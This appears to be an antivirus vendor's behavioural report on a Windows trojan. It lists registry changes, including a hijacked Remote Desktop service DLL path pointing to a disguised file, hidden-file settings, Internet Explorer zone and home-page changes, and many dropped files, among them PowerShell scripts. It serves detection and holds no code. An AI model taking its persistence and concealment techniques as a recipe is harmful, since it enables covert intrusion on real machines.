Trojan.Siggen8.52806

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini

Creates the following services

[<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%ProgramFiles%\windows mail\appcache.xml'
[<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'

Changes the following executable system files

<SYSTEM32>\unregmp2.exe

Malicious functions

To complicate detection of its presence in the operating system,

forces the system hide from view:

hidden files
file extensions

Modifies settings of Windows Internet Explorer

[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPost' = '{01,00,00,00}'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'PMDisplayName' = 'Internet [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'Description' = 'This zone contains all Web sites you haven't...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'Icon' = 'inetcpl.cpl#001313'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'LowIcon' = 'inetcpl.cpl#005425'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'CurrentLevel' = '00011500'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'Flags' = '00000001'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'DisplayName' = 'Restricted sites'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'PMDisplayName' = 'Restricted sites [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'Description' = 'This zone contains Web sites that could pote...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'Icon' = 'inetcpl.cpl#00004481'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'LowIcon' = 'inetcpl.cpl#005426'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'CurrentLevel' = '00012000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] 'Flags' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1200' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2007' = '00010000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '1200' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1200' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1200' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] '1400' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1400' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '1400' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1400' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2500' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'DisplayName' = 'Computer'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'PMDisplayName' = 'Computer [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonZoneCrossing' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] '2007' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2007' = '00010000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '2007' = '00010000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] 'DisplayName' = 'Internet'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] '1200' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'CurrentLevel' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1400' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1C00' = '00000000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '{AEBA21FA-782A-4A90-978D-B72164C80120}' = '{1a,37,61,59,23,5...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1A10' = '00000001'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '{A8A88C49-5EB2-4990-A1A2-0876022C854F}' = '{1a,37,61,59,23,5...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '{AEBA21FA-782A-4A90-978D-B72164C80120}' = '{1a,37,61,59,23,5...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1A10' = '00000003'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '{A8A88C49-5EB2-4990-A1A2-0876022C854F}' = '{1a,37,61,59,23,5...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'DisplayName' = 'My Computer'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'PMDisplayName' = 'My Computer [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'Description' = 'Your computer'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'Icon' = 'shell32.dll#0016'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'LowIcon' = 'inetcpl.cpl#005422'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] 'Flags' = '00000021'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'CurrentLevel' = '00011000'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'DisplayName' = 'Local intranet'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'PMDisplayName' = 'Local intranet [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'Description' = 'This zone contains all Web sites that are on...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'Icon' = 'shell32.dll#0018'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'LowIcon' = 'inetcpl.cpl#005423'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'CurrentLevel' = '00010500'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] 'Flags' = '00000143'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '' = ''
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'DisplayName' = 'Trusted sites'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'PMDisplayName' = 'Trusted sites [Protected Mode]'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'Description' = 'This zone contains Web sites that you trust ...
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'Icon' = 'inetcpl.cpl#00004480'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'LowIcon' = 'inetcpl.cpl#005424'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] 'Flags' = '00000047'
[\REGISTRY\USER\S-1-5-21-1960123792-2022915161-3775307078-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '2007' = '00000003'

Sets a new unauthorized home page for Windows Internet Explorer.

Modifies file system

Creates the following files

%TEMP%\nsye1dd.tmp
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\desktop.ini
C:\users\wgautilacc\favorites\links\desktop.ini
C:\users\wgautilacc\favorites\microsoft websites\microsoft store.url
C:\users\wgautilacc\favorites\windows live\get windows live.url
C:\users\wgautilacc\favorites\windows live\windows live gallery.url
C:\users\wgautilacc\favorites\windows live\windows live spaces.url
C:\users\wgautilacc\appdata\local\microsoft\windows\history\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\desktop.ini
C:\users\wgautilacc\favorites\msn websites\msn entertainment.url
C:\users\wgautilacc\favorites\msn websites\msn money.url
C:\users\wgautilacc\favorites\msn websites\msnbc news.url
C:\users\wgautilacc\favorites\msn websites\msn sports.url
C:\users\wgautilacc\favorites\msn websites\msn.url
C:\users\wgautilacc\favorites\microsoft websites\microsoft at work.url
C:\users\wgautilacc\favorites\windows live\windows live mail.url
C:\users\wgautilacc\appdata\local\temp\~df72ab56ee6610e74d.tmp
C:\users\wgautilacc\appdata\local\microsoft\windows\history\history.ie5\desktop.ini
C:\users\wgautilacc\appdata\local\temp\~df984e371e08a82458.tmp
C:\users\wgautilacc\appdata\local\temp\~df4048eb75551245ba.tmp
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\njvuh2kw\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\ryuqasbz\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\jw3btm35\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\gjaaiph7\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\feeds cache\index.dat
C:\users\wgautilacc\appdata\roaming\microsoft\windows\ietldcache\index.dat
C:\users\wgautilacc\appdata\local\microsoft\windows\history\history.ie5\index.dat
C:\users\wgautilacc\appdata\roaming\microsoft\windows\cookies\index.dat
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\gkymw007\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\wqro9nho\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\i6l2s4hj\desktop.ini
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\x2250578\desktop.ini
C:\users\wgautilacc\favorites\microsoft websites\microsoft at home.url
C:\users\wgautilacc\favorites\msn websites\msn autos.url
C:\users\wgautilacc\appdata\local\microsoft\windows\<INETFILES>\content.ie5\index.dat
C:\users\wgautilacc\appdata\local\microsoft\feeds\microsoft feeds~\microsoft at home~.feed-ms
C:\users\wgautilacc\appdata\local\microsoft\internet explorer\brndlog.txt
C:\users\wgautilacc\documents\desktop.ini
C:\users\wgautilacc\searches\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\~ocuments.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\documents.library-ms
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\administrative tools\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\pictures.library-ms
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\~ictures.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\desktop.ini
C:\users\wgautilacc\favorites\desktop.ini
C:\users\wgautilacc\desktop\desktop.ini
C:\users\wgautilacc\pictures\desktop.ini
C:\users\wgautilacc\videos\desktop.ini
C:\users\wgautilacc\music\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\videos.library-ms
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\internet explorer.lnk
C:\users\wgautilacc\favorites\microsoft websites\ie site on microsoft.com.url
C:\users\wgautilacc\downloads\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\internet explorer (no add-ons).lnk
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\google chrome.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk
C:\users\wgautilacc\appdata\local\temp\chrome_installer.log
C:\users\wgautilacc\links\downloads.lnk
C:\users\wgautilacc\links\desktop.lnk
C:\users\wgautilacc\links\recentplaces.lnk
C:\users\wgautilacc\searches\everywhere.search-ms
C:\users\wgautilacc\searches\indexed locations.search-ms
C:\users\wgautilacc\saved games\desktop.ini
C:\users\wgautilacc\links\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\~usic.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\music.library-ms
C:\users\wgautilacc\appdata\roaming\microsoft\windows\libraries\~ideos.tmp
C:\users\wgautilacc\favorites\microsoft websites\ie add-on site.url
C:\users\wgautilacc\appdata\local\microsoft\windows mail\stationery\genko_1.emf
C:\users\wgautilacc\appdata\local\temp\~dfcf3d893a3a65421d.tmp
C:\users\wgautilacc\appdata\local\microsoft\windows\explorer\thumbcache_256.db
C:\users\wgautilacc\appdata\local\microsoft\windows\explorer\thumbcache_96.db
C:\users\wgautilacc\appdata\local\microsoft\windows\explorer\thumbcache_32.db
C:\users\wgautilacc\appdata\local\microsoft\windows\explorer\thumbcache_idx.db
C:\users\wgautilacc\appdata\local\microsoft\windows\burn\burn\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\shzep9w0powf38fc1ybb.temp
C:\users\wgautilacc\appdata\local\microsoft\windows\explorer\thumbcache_1024.db
C:\users\wgautilacc\favorites\links for united states\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\ydib1k0p0gyvshn2ngmf.temp
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\windows explorer.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\internet explorer.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\customdestinations\pm90iq64ok6ddwx60seu.temp
C:\users\wgautilacc\appdata\local\temp\wwwf1b7.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\recent\automaticdestinations\1b4dd67f29cb1962.automaticdestinations-ms
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\windows media player.lnk
C:\users\wgautilacc\appdata\local\microsoft\feeds\feedsstore.feedsdb-ms
C:\users\wgautilacc\favorites\links for united states\usa.gov.url
C:\users\wgautilacc\appdata\local\temp\~dfff6b90bd6b061fed.tmp
C:\users\wgautilacc\appdata\local\microsoft\feeds\feeds for united states~\usa~dgov updates~c news and features~.feed-ms
C:\users\wgautilacc\appdata\local\temp\~df995ffc8094670333.tmp
C:\users\wgautilacc\appdata\local\temp\~dfeb5b7c0061935430.tmp
C:\users\wgautilacc\appdata\local\temp\~df3bbe0cf6bc47a0d7.tmp
C:\users\wgautilacc\appdata\local\temp\~df63a44420e9bbfa65.tmp
C:\users\wgautilacc\appdata\local\temp\~df3769dfecdca5084c.tmp
C:\users\wgautilacc\appdata\local\temp\~dfa4598d7311f8b87f.tmp
C:\users\wgautilacc\appdata\local\temp\~df356fbaad2c535bb3.tmp
C:\users\wgautilacc\appdata\local\temp\~df1cb7d1b153c36fc2.tmp
C:\users\wgautilacc\appdata\local\microsoft\feeds\feeds for united states~\popular government questions from usa~dgov~.feed-ms
C:\users\wgautilacc\appdata\local\temp\~dffab66ed7bcbc0525.tmp
C:\users\wgautilacc\appdata\local\temp\~df13d2c4dbb84a48d5.tmp
C:\users\wgautilacc\favorites\links for united states\gobiernousa.gov.url
C:\users\wgautilacc\appdata\local\temp\wwwf1a6.tmp
C:\users\wgautilacc\appdata\local\microsoft\internet explorer\brndlog.bak
C:\users\wgautilacc\appdata\local\microsoft\windows\explorer\thumbcache_sr.db
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\internet explorer (64-bit).lnk
C:\users\wgautilacc\appdata\local\temp\rgid8f2.tmp
C:\users\wgautilacc\appdata\local\temp\~df8d919bab73ebf478.tmp
C:\users\wgautilacc\appdata\local\temp\~dfa464faa9caf8942a.tmp
C:\users\wgautilacc\appdata\local\temp\~df9a8fdda03abe7c00.tmp
C:\users\wgautilacc\appdata\local\temp\~dff7dd2699d6d7bbbf.tmp
C:\users\wgautilacc\appdata\local\temp\~df3c4908730a93b310.tmp
C:\users\wgautilacc\appdata\local\temp\~df169597a32d187ca4.tmp
C:\users\wgautilacc\appdata\local\microsoft\feeds\microsoft feeds~\microsoft at work~.feed-ms
C:\users\wgautilacc\appdata\local\temp\~dfad7c81ec11cd9c82.tmp
C:\users\wgautilacc\appdata\local\temp\~dfbf3027b0db16d460.tmp
C:\users\wgautilacc\appdata\local\microsoft\media player\localmls_3.wmdb
C:\users\wgautilacc\appdata\local\temp\~df0b3ae64d36e542c5.tmp
C:\users\wgautilacc\appdata\local\temp\~dfe7d28c5e5b501ddb.tmp
C:\users\wgautilacc\appdata\local\temp\~df00f70b95ecc4a271.tmp
C:\users\wgautilacc\appdata\local\temp\~df177a658a89af1c40.tmp
C:\users\wgautilacc\appdata\local\temp\~df5ff20c939b374c4f.tmp
C:\users\wgautilacc\appdata\local\microsoft\feeds\microsoft feeds~\msnbc news~.feed-ms
C:\users\wgautilacc\appdata\local\temp\~dfd03145f81b61cc23.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini
C:\users\wgautilacc\appdata\local\temp\~dfffc5f9ceb9de6511.tmp
C:\users\wgautilacc\appdata\local\temp\~df95e8ed2ecdb94ac3.tmp
C:\users\wgautilacc\appdata\local\temp\~df58af2dc01efa0772.tmp
C:\users\wgautilacc\appdata\local\temp\rgid864.tmp
C:\users\wgautilacc\appdata\local\temp\rgid843.tmp
C:\users\wgautilacc\appdata\local\temp\rgid814.tmp
C:\users\wgautilacc\appdata\local\temp\wwwd5f2.tmp
C:\users\wgautilacc\appdata\local\temp\wwwd5e1.tmp
C:\users\wgautilacc\appdata\local\temp\~df93ddb7d2c4511b1d.tmp
C:\users\wgautilacc\appdata\local\temp\~df166e677be0ebbd87.tmp
C:\users\wgautilacc\appdata\local\temp\~df76f2ca16f7e3f68b.tmp
C:\users\wgautilacc\appdata\local\temp\~df06a5e73bf55d8b35.tmp
C:\users\wgautilacc\appdata\local\microsoft\feeds\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\webslices~\web slice gallery~.feed-ms
C:\users\wgautilacc\appdata\local\temp\~df62043d196fc419ed.tmp
C:\users\wgautilacc\appdata\local\temp\~df0f9f69eb16cdc390.tmp
C:\users\wgautilacc\favorites\links\web slice gallery.url
C:\users\wgautilacc\appdata\local\temp\~df6f3bd54b15e9b8d3.tmp
C:\users\wgautilacc\appdata\local\temp\rgid894.tmp
C:\users\wgautilacc\appdata\local\microsoft\media player\currentdatabase_372.wmdb
C:\users\wgautilacc\appdata\local\microsoft\windows media\12.0\wmsdknsd.xml
C:\users\wgautilacc\appdata\local\microsoft\windows media\12.0\wmsdkns.xml.bak
C:\users\wgautilacc\appdata\local\temp\rgi8ec6.tmp
C:\users\wgautilacc\appdata\local\temp\rgi9061.tmp
C:\users\wgautilacc\appdata\local\temp\rgi8fe3.tmp
C:\users\wgautilacc\appdata\local\temp\rgi8fb3.tmp
C:\users\wgautilacc\appdata\local\temp\rgi8f45.tmp
C:\users\wgautilacc\appdata\local\temp\rgi8ef6.tmp
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9dad.tmp
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9d8c.tmp
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9d9d.tmp
C:\users\wgautilacc\ntuser.pol
C:\users\wgautilacc\ntuser.dat.log1
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat
C:\users\wgautilacc\appdata\local\microsoft\windows\usrclass.dat.log1
C:\users\wgautilacc\ntuser.ini
\device\termdd
<SYSTEM32>\spool\drivers\x64\{7396287d-9540-4f1e-83d8-921641669558}\set9dce.tmp
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.chk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\control panel.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\command prompt.lnk
C:\users\wgautilacc\appdata\local\microsoft\windows mail\tmp.edb
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edb.log
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbres00002.jrs
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbres00001.jrs
C:\users\wgautilacc\appdata\local\microsoft\windows mail\edbtmp.log
C:\users\wgautilacc\appdata\local\temp\wgautilacc.bmp
C:\users\wgautilacc\contacts\wgautilacc.contact
C:\users\wgautilacc\contacts\desktop.ini
D:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1006\desktop.ini
C:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1006\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\themes\transcodedwallpaper.jpg
<SYSTEM32>\spool\drivers\x64\3\new\tsprint-pipelineconfig.xml
<SYSTEM32>\spool\drivers\x64\3\new\tsprint-datafile.dat
<SYSTEM32>\spool\drivers\x64\3\new\tsprint.dll
C:\users\wgautilacc\appdata\local\microsoft\windows\explorer\explorerstartuplog.etl
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\private character editor.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\run.lnk
%ProgramFiles%\windows mail\cleanuptask.cfg
C:\users\wgautilacc\ntuser.dat
%PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
<SYSTEM32>\microsoft\protect\s-1-5-20\preferred
<SYSTEM32>\microsoft\protect\s-1-5-20\9b43655b-406d-458c-89da-d16c177c8157
%WINDIR%\temp\usrnm.txt
<SYSTEM32>\rfxvmt.dll
%ProgramFiles%\windows mail\default_list.xml
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\maintenance\desktop.ini
%ProgramFiles%\windows mail\appcache.xml
%TEMP%\nsye1de.tmp\system.dll
%TEMP%\add.ps1
%TEMP%\premiumextraxeeoulzcjz.ps1
%TEMP%\chadshfsd323.txt
%TEMP%\nsye1de.tmp\blowfish.dll
C:\users\wgautilacc\appdata\local\microsoft\windows mail\windowsmail.msmessagestore
C:\users\wgautilacc\appdata\local\temp\~df832242352cceca5a.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\windows explorer.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\on-screen keyboard.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\maintenance\help.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\notepad.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\compressed (zipped) folder.zfsendtotarget
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\desktop (create shortcut).desklink
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\fax recipient.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\sendto\mail recipient.mapimail
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\desktop.ini
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\ease of access.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\magnify.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\accessibility\narrator.lnk
C:\users\wgautilacc\appdata\roaming\microsoft\windows\start menu\programs\accessories\system tools\computer.lnk
C:\users\wgautilacc\appdata\local\temp\~dffcca9726026dfcf1.tmp
C:\users\wgautilacc\appdata\roaming\microsoft\protect\credhist
